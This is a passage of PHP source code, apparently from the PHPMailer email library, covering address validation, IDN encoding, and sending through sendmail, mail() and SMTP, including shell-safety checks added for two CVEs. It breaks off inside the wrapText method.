    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
